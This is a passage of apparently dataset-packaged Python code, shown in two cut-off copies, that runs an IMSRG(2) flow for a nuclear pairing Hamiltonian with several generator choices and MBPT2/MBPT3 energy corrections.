Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n 